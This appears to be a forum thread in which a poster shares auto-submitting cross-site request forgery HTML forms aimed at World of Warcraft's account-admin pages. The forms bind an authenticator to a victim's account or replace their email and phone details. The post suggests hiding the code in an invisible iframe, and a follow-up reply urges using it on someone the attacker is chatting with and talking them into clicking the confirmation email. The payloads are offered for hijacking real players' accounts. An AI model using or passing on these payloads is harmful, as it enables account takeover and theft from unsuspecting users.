Account admin vulnerabilities

[reduction]

Th person you are targeting must be logged in when they visit a webpage with one of these pieces of html code on it. This could be much sneakier if the code was in a hidden iframe.

I have not been able to test many of these but there is no reason they shouldn't work.

Set an authenticator onto someone's account

<form id="formSecurityToken" method="post" name="formSecurityToken" action="https://www.worldofwarcraft.com/account/physical-security-token.html">
<input type="hidden" name="tokenID" value="<insert authenticator id here>"  />
</form>
<script type="text/javascript">document.getElementById('formSecurityToken').submit();</script>

Change someone's contact information (attempting to change their email will send them a confirmation email to the old address):

<form id="form1" name="form1" method="post" action="https://www.worldofwarcraft.com/account/change-contact.html">
<input name="newEmail" value="<new email>" type="hidden" />
<input name="newPhoneNumber1" value="<insert daytime phone number>" type="hidden" />
<input name="newPhoneNumber1Ext" value="<insert daytime phone extension>" type="hidden" />
<input name="newPhoneNumber2" value="<insert evening phone number>" type="hidden" />
<input name="newPhoneNumber2Ext" value="<insert evening phone extension>" type="hidden" />
</form>
<script type="text/javascript">document.getElementById('form1').submit();</script>

more to come.

[Tierman]

Wow. So I just add this to the html of my page? How will I know which accounts I changed the info on?

[reduction]

Wow. So I just add this to the html of my page? How will I know which accounts I changed the info on?

It will not work if they are not logged into account admin at the time. There is no way of knowing who's information you changed. The best use of this would be to use this against someone you are communication with.

Changing someone's email address will send the original email address a conformation email asking them to click a link. You might be able to convince them to click the link.

Read this for more information on this type of exploit:
Cross-site request forgery - Wikipedia, the free encyclopedia